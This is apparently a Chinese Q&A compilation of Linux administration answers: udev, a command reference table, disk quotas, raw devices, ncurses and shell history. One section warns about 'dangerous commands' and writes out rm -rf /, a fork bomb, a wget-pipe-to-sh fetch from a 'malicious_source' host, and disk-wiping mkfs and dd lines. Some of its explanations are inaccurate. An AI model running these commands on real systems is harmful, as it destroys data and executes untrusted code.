‘壹’ 有哪位朋友在linux下使用udev配置过多路径的raw
linux下使用udev配置过多路径的raw
udev 不是多路径,是Linux kernel 2.6系列的设备管理器。它主要的功能是管理/dev目录底下的设备节点。它同时也是用来接替devfs及hotplug的功能,这意味着它要在添加/删除硬件时处理/dev目录以及所有用户空间的行为,包括加载firmware时。udev的最新版本依赖于升级后的Linux kernel 2.6.13的uevent接口的最新版本。使用新版本udev的系统不能在2.6.13以下版本启动,除非使用noudev参数来禁用udev并使用传统的/dev来进行设备读取。
Linux 传统上使用静态设备创建方法,因此大量设备节点在 /dev 下创建(有时上千个),而不管相应的硬件设备是否真正存在。通常这由一个MAKEDEV脚本实现,这个脚本包含了许多通过世界上(有幽默意味,注)每一个可能存在的设备相关的主设备号和次设备号对mknod程序的调用。采用udev的方法,只有被内核检测到的设备才会获取为它们创建的设备节点。因为这些设备节点在每次系统启动时被创建,他们会被贮存在ramfs(一个内存中的文件系统,不占用任何磁盘空间).设备节点不需要大量磁盘空间,因此它使用的内存可以忽略。
‘贰’ Linux那些命令操作
Linux常用命令手册
2008-1-22
NO
分类
PS1
命令名
用法及参数
功能注解
对应章节
1
文件管理
#
ls
ls -a
列出当前目录下的所有文件,包括以.头的隐含文件
文件管理
#
ls
ls -l或ll
列出当前目录下文件的详细信息
文件管理
#
pwd
pwd
查看当前所在目录的绝对路经
文件管理
#
cd
cd ..
回当前目录的上一级目录
文件管理
#
cd
cd -
回上一次所在的目录
文件管理
#
cd
cd ~ 或 cd
回当前用户的宿主目录
文件管理
#
cd
cd ~用户名
回指定用户的宿主目录
2
文件管理
#
mkdir
mkdir 目录名
创建一个目录
文件管理
#
mkdir
mkdir –p
递归式去创建一些嵌套目录
文件管理
#
rmdir
Rmdir 空目录名
删除一个空目录
3
文件管理
#
rm
rm 文件名 文件名
删除一个档或多个档
文件管理
#
rm
rm -rf 非空目录名
递归删除一个非空目录下的一切,不让提式-f
4
文件管理
#
cat
cat文件名
一屏查看档内容
5
文件管理
#
more
more文件名
分页查看档内容
6
文件管理
#
less
less 文件名
可控分页查看档内容
7
文件管理
#
grep
grep字符 文件名
根据字符匹配来查看文件部分内容
8
文件管理
#
mv
mv 路经/文件 /经/文件
移动相对路经下的文件到绝对路经下
文件管理
#
mv
mv 文件名 新名称
在当前目录下改名
9
文件管理
#
cp
cp /路经/文件 ./
移动绝对路经下的文件到当前目录下
10
文件管理
#
find
find 路经 -name “字符串”
查找路经所在范围内满足字符串匹配的文件和目录
11
文件管理
#
ln
ln 源文件 链接名
创建当前目录源文件的硬链接
ln /home/test /usr/test1
在/usr下建立/home/test的硬链接
12
文件管理
#
ln
Ln -s a b
创建当前目录下a的符号链接b
13
文件管理
#
touch
touch file1 file2
创建两个空文件
14
磁盘管理
#
df
df
用于报告文件系统的总容量,使用量,剩余容量。
15
磁盘管理
#
-b /home
查看目前/HOME目录的容量(k)及子目录的容量(k)。
16
磁盘管理
#
fdisk
fdisk -l
查看系统分区信息
17
磁盘管理
#
fdisk
fdisk /dev/sdb
为一块新的SCSI硬盘进行分区
18
磁盘管理
#
mkfs.ext3
Mkfs.ext3 /dev/sdb1
为第一块SCSI硬盘的第一主分区格式化成
ext3的文件系统
mkfs.ext2
Mkfs.ext2/dev/sdb2
格式化成ext2文件系统
19
磁盘管理
#
mount
mount -t 文件系统类型 设备路经 访问路经
磁盘管理
#
文件系统类型
Iso9660
光驱文件系统
vfat
Fat文件系统(windows)
挂载光驱
#
mount –t iso9660 /dev/cdrom /mnt/cdrom
挂载FAT
#
mount –t vfat /dev/hda5 /mnt/cdrom
挂第一个ide的第五个逻辑分区
17
磁盘管理
#
Umount /mnt/cdrom
卸载/mnt/cdrom为空
18
文件权限
#
chmod
chmod u+s file
为file的属主加上特殊权限
chmod g+r file
为file的属组加上读权限
chmod o+w file
为file的其它用户加上写权限
chmod a-x file
为file的所有用户减去执行权限
chmod 765 file 为file的属主设为完全权限,属组设成读写权,其它用户具有读和执心权限
19
文件权限
#
chown
chown root /home
把/home的属主改成root用户
20
文件权限
#
chgrp
chgrp root /home
把/home的属组改成root组
21
打印管理
#
redhat-config-printer-tui
进入安装打印机接口
22
打印管理
#
lp
lp –d hptr file
打印file到hptr的打印机上
23
打印管理
#
lpq
Lpq –P 打印机名
查看打印机的状态
24
打印管理
#
lprm
Lprm –P 打印机名 a
删除打印机内的打印作业
25
打印管理
#
disable
Disable –r “changing paper” HPtr
禁用打印机并提示原因
26
打印管理
#
enable
Enable HPtr
重新启用被禁用的
27
用户管理
#
useradd
Useradd
创建一个新的用户
28
用户管理
#
groupadd
Groupadd 组名
创建一个新的组
29
用户管理
#
passwd
Passwd 用户名
为用户创建密码
30
用户管理
#
Passwd -d
Passwd -d用户名
删除用户密码也能登陆
31
用户管理
#
Passwd -l
Passwd -l用户名
锁定账号密码
32
用户管理
#
Passwd -u
Passwd -u用户名
解锁账号密码
33
用户管理
#
Passwd -S
Passwd -S用户名
查询账号密码
34
用户管理
#
Usermod -l
Usermod -l 新用户名 老用户名
为用户改名
35
用户管理
#
Usermod -L
Usermod -L 要锁定用户名
锁定用户登陆
36
用户管理
#
Usermod -U
Usermod –U解锁用户名
解锁用户登陆
37
用户管理
#
Usermod -u
Usermod –u 501用户名
改变用户UID
38
用户管理
#
Userdel
Userdel–r 用户名
删除用户一切
39
用户管理
#
Groupmod -n
Groupmod –n新用户名 老用户名
为组改名
40
用户管理
#
Groupmod -g
Groupmod –g 501 组名
改变组GID
41
用户管理
#
groupdel
Groupdel组名 先应删它的用户
删除组
42
用户管理
#
gpasswd -a
gpasswd -a 用户名 组名
增加用户到组
43
用户管理
#
Id
id 用户名
查用户信息
44
软件管理
#
rpm -qa
rpm –qa | less
查询已安装RPM
45
软件管理
#
rpm –qa | grep ftp
查询指定RPM
46
软件管理
#
rpm -q
rpm -q 已安装的RPM包
查是否安装
47
软件管理
#
rpm -q telnet-server
查看telnet服务器包
48
软件管理
#
rpm -qi
rpm –qi 软件包名称
查看软件的描述信息
49
软件管理
#
rpm -ql
rpm –ql软件包名称
查询软件包的文件列表
50
软件管理
#
rpm -qf
rpm –qf软件包名称
查询某个文件所属的软件包
51
软件管理
#
rpm -qp
rpm –qp软件包全名
查询未安装的软件包信息
52
软件管理
#
rpm -e
rpm –e 软件包名称
删除具体的软件包
53
软件管理
#
rpm -U
rpm –Uvh软件包全名
升级软件包并显示过程
54
软件管理
#
rpm -ivh
rpm –ivh 软件包全名
安装软件包并显示过程
55
软件管理
#
rpm -V
rpm –V软件包名称
验证软件包的大小,类型等
56
软件管理
#
tar
-c 创建包 –x 释放包 -v 显示命令过程 –z 代表压缩包
57
软件管理
#
tar -cf
tar –cvf benet.tar /home/benet
把/home/benet目录打包
58
软件管理
#
tar -czf
tar –zcvf benet.tar.gz /mnt
把目录打包并压缩
59
软件管理
#
tar –tf
tar –tf benet.tar
看非压缩包的档列表
60
软件管理
#
tar –tzf
tar –tf benet.tar.gz
看压缩包的档列表
61
软件管理
#
tar –xf
tar –xf benet.tar
非压缩包的档恢复
62
软件管理
#
tar –zxvf
tar –zxvf benet.tar.gz
压缩包的档解压恢复
63
软件管理
#
tar -jxvf
tar –jxvf benet.tar.bz2
64
软件管理
#
diff
diff file1 file2 > 补丁名.patch
为新旧档生成补丁档
65
软件管理
#
diff
diff file1 file2
比较两个文件的区别
66
软件管理
#
Patch
Patch file补丁名.patch
打补丁
67
软件管理
#
./configure --prefix=/usr/local/
编译前配置
68
软件管理
#
make
编译
69
软件管理
#
make install
安装编译好的源码包
70
启动管理
#
reboot
Init 6
重启LINUX系统
71
启动管理
#
Halt
Init 0
Shutdown –h now
关闭LINUX系统
72
启动管理
#
runlevel
显示系统运行级
73
启动管理
#
Init [0123456]
改变系统运行级,7种
74
启动管理
#
Chkconfig –-list [服务名称]
查看服务的状态
75
启动管理
#
Chkconfig –-level <运行级> <服务名> on|off|set
设置服务的启动状态
76
启动管理
#
Chkconfig <服务名> on|off|set
设置非独立服务启状态
77
进程管理
#
Top动态
Ps-aux静态
进程树pstree
查看系统进程
78
进程管理
#
程序名 &
后台运行程序
79
进程管理
#
fg
把后台运行的进程调回前台
80
进程管理
#
bg
把前台运行进程调到后台
81
进程管理
#
renice
Renice +1 180
把180号进程的优先级加1
82
进程管理
#
kill
Kill PID
终止某个PID进程
83
进程管理
#
at
at 5pm + 3 days
/bin/ls
指定三天后下午5:00执行/bin/ls
84
进程管理
#
crontab
Crontab -e
用VI的形式来编辑自动周期性任务
85
进程管理
#
crontab
Crontab -l
查看自动周期性任务
86
进程管理
#
crontab
Crontab -r
删除自动周期性任务
87
进程管理
#
crond
Service crond <start|stop|restart|status>
马上启动自动周期性服务
Service crond <启动|停止|重启|状态>
实现磁盘配额
(注安装LINUX时建立/home分区)
目标:对用户zhao在/home目录上实现soft limit为5k,hard limit 为10k的磁盘配额
实现步骤:
1. 修改包含/home的行, #vi /etc/fstab, 改为:defaults,usrquota。也就是增加usrquota项。然后保存退出。
2、卸载/home目录 #umount /home
3. 挂接/home目录 #mount /home
4、增加用户zhao #useradd zhao
5、修改密码 #passwd zhao
6、生成关于/home目录的quota信息 # quotacheck -cmug /home
#quotacheck -vu /home
7、查看所有用户的信息 #repquota -au
8、设置配额 #edquota -u zhao
将soft 和hard 分别改为5和10
9、保存并退出 #wq!
10、修改时间 #edquota -t
11、 #wq!
12.开启/home上的磁盘配额功能 #quotaon /home
13.查询配额 #quota -u zhao
14.验证配额 #su - zhao
$touch myfile
useradd命令的常用选项如下:
-c comment:用户全名或描述。l
-d home-dir:指定用户主目录。l
-e date:禁用账户的日期,格式为:YYYY-MM-DD。l
-f days:口令过期后,账户禁用前的天数。l
-g group-name:用户所属主组群的组群名称或GID。l
-G group-list:用户所属的附属组群列表,多个项目用逗号分隔。l
-m:若主目录不存在则创建它。l
-M:不创建用户主目录。l
-n:不要为用户创建用户私人组群。l
-r:创建UID小于500的不带主目录的系统账户。l
-p:加密的口令。l
-s:指定用户登录 Shell,默认为 /bin/bash。l
-u UID:指定用户的 UID,它必须是唯一的,且大于499。l
‘叁’ 如何在suselinux上创建raw设备
裸设备,是没有经过格式化的分区或磁盘,也叫裸分区(原始分区),不被Unix通过文件系统来读取的特殊字符设备。它由应用程序负责对
它进行读写操作。不经过文件系统的缓冲,是不被操作系统直接管理的设备。由于跨过操作系统管理,使得I/O效率更高。在基于SUSE Linux
10上安装Oracle 10g RAC的话,由于Oracle 10g 不支持将ocr与votingdisk 存放在ASM 磁盘中,因此,依然需要为其使用裸设备方式。SUSE
Linux裸设备的配置与其他的Linux稍有差异,下面将具体描述。
[python] view plain
1、先对磁盘进行分区,sdd如下面的方法炮制
#下面的示例中使用sdc和sdd来用作裸设备,一块用于ocr,一块用于votingdisk
bo2dbp:~ # fdisk /dev/sdc
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel. Changes will remain in memory only,
until you decide to write them. After that, of course, the previous
content won't be recoverable.
Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)
‘肆’ linux系统下的这两个语句是什么意思
cat 是从一个文件或者设备里面进行“RAW”方式的读取。是读取,没有写入的功能,默认是标准输出。也就是命令行的一般输出提示,但他可以跟随管道符实现与其他命令的数据连续处理。比如这个命令的 > 来表明把输出发送给 /dev/sdb 这个设备。(详细管道符的作用自己搜索吧,太多了)
第一个就是管道方式获取 linux.img 他 cat 出来的东西后管道符 > 把输出转发给 /dev/sdb 。
第二个命令效果相同。只不过他用的是 dd 命令,这个命令的作用是把 if 的文件或者设备的内容写到 of 的设备或者文件上。同时他还有别的参数,可以设置读写的数量还有一次处理量,当然还有起点。比 cat 功能更多,不过貌似不支持管道符。
这两个都是 RAW 方式的,也就是不管什么内容,都是直接处理。
这两行命令注意安全!他会用 linux.img 里面的内容覆盖掉你的 sdb 盘,这个是整盘的覆盖,不是针对某一个扇区,针对扇区需要 sdb1 sdb2 一类的。
而且从 MBR 开始,会覆盖引导程序和分区表!
‘伍’ 一下几个Linux命令是什么意思,最好能详细解释下里面的参数含义
第一行是开启路由转发功能。
第二行是定义SNAT策略,但是好像你没有定义源网段地址。
第三行是加载路由功能,使路由功能生效。
‘陆’ LINUX系统有哪些危险命令
这9个“非常危险”的Linux命令一定要记住!
1、rm-rf命令
rm-rf命令是删除文件夹及其内容最快的一种方式,仅仅一丁点的敲错或者无知都可能导致不可恢复的系统崩坏。
rm命令在Linux下通常用来删除文件
rm-f命令递归的删除文件夹,甚至是空的文件夹
rm-f命令能不经过询问直接删除只读文件
rm-rf/:强制删除根目录下所有东西
rm-rf/*:强制删除当前目录的所有文件
rm-rf.:强制删除当前文件夹及其子文件
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm
-i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};:命令
这就是一个fork炸弹的实例。具体操作是通过定义一个名为':'的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、命令 >/dev/sda
上列命令会将某个'命令'的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv文件夹/dev/null
这个命令会移动某个'文件夹'到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
5、wget http://malicious_source -O- | sh
上面这个命令会从一个恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会执行下载下来的脚本。
温馨提示:你应该时刻注意你下载包或者脚本的源。只能使用那些从可信任的源中下载脚本/程序。
6、mkfs.ext3 /dev/sda
上列命令会格式化设备'sda',你无疑知道在执行上列命令后你的块设备会被格式化,崭新的。没有任何数据,直接让你的系统达到不可恢复的阶段。
7、> file
上面命令常用来清空文件内容,如果用上列执行时输入错误或无知的输入类似“> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。
8、^foo^bar
这个命令用来编辑先前运行的命令而无需要打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
9、dd if=/dev/random of=/dev/sda
上面这个命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然,你的系统可能陷入混乱和不可恢复的状态。
‘柒’ linux ncurses cbreak raw keypad
curses库的函数的含义: cbreak():调用cbreak函数后,除了"Del"和"Ctrl"键外,接受其他所有字符输入。 raw()和cbreak()两个函 数都可以禁止行缓冲(line buffering)。区别是:在raw()函数模式下,处理挂起(CTRLZ)、 中断或退出(CTRLC) 等控制字符时,将直接传送给程序去处理而不产生终端信号;而在 cbreak()模式下,控制字符将被终端驱动程序解释成其它字符。 nl()/nonl():输出时,换行是否作为回车字符。nl函数将换行作为回车符,而nonl函数相反。 noecho()/echo():关闭/打开输入回显功能。 intrflush(WINDOW *win, bool bf):win为标准输出。当bf为true时输入Break,可以加快中断的响应。但是,有可能会造成屏幕输出信息的混乱。 keypad(WINDOW *win, bool bf):win为标准输出。调用keypad函数后,将可以使用键盘上的一些特殊字符,如方向键,转化成curses.h中的特殊键。 refresh():重绘屏幕显示内容。在调用initscr函数后,第一次调用refresh函数会清除屏幕显示。 希望能帮到你
‘捌’ linux命令中显示之前操作过的所有命令的命令是什么
1、连接上相应的linux主机,进入到等待输入shell指令的linux命令行状态下。
‘玖’ linux 查看当前系统默认可以记住用户多少个历史命令用什么命令
可以使用History命令,主要用于显示历史指令记录内容, 下达历史纪录中的指令 。
1、History命令语法:
[test@linux]# history [n]
[test@linux]# history [-c]
[test@linux]# history [-raw] histfiles
参数:
n:数字,要列出最近的 n 笔命令列表
-c:将目前的shell中的所有 history 内容全部消除
-a:将目前新增的history 指令新增入 histfiles 中,若没有加 histfiles ,
则预设写入 ~/.bash_history
-r:将 histfiles 的内容读到目前这个 shell 的 history 记忆中
-w:将目前的 history 记忆内容写入 histfiles
Linux系统在shell(控制台)中输入并执行命令时,shell会自动把命令记录到历史列表中,一般保存在用户目录下的.bash_history文件中。默认保存1000条,也可以更改这个值。
如果键入history, history会显示所使用的前1000个历史命令,并且编了号,会看到一个用数字编号的列表快速从屏幕上卷过。可能不需要查看1000个命令中的所有项目, 当然也可以加入数字来列出最近的 n 笔命令列表。
linux中history命令不仅仅可以查询历史命令而已. 还可以利用相关的功能来帮执行命令。
2、运行特定的历史命令
history会列出bash保存的所有历史命令,并且编了号,可以使用“叹号接编号”的方式运行特定的历史命令.
语法说明:
[test@linux]# [!number] [!command] [!!]
参数说明:
number :第几个指令的意思;
command:指令的开头几个字母
! :上一个指令的意思!
3、History命令实战
列出所有的历史记录:
[test@linux] # history
只列出最近10条记录:
[test@linux] # history 10 (注,history和10中间有空格)
使用命令记录号码执行命令,执行历史清单中的第99条命令
[test@linux] #!99 (!和99中间没有空格)
重复执行上一个命令
[test@linux] #!!
执行最后一次以rpm开头的命令(!? ?代表的是字符串,这个String可以随便输,Shell会从最后一条历史命令向前搜索,最先匹配的一条命令将会得到执行。)
[test@linux] #!rpm
逐屏列出所有的历史记录:
[test@linux]# history | more
立即清空history当前所有历史命令的记录
[test@linux] #history -c
除了使用history命令,在 shell 或 GUI 终端提示下,也可以使用上下方向键来翻阅命令历史(向下箭头会向前翻阅),直到找到所需命令为止。这可以很方便地编辑前面的某一条命令,而不用重复输入类似的命令。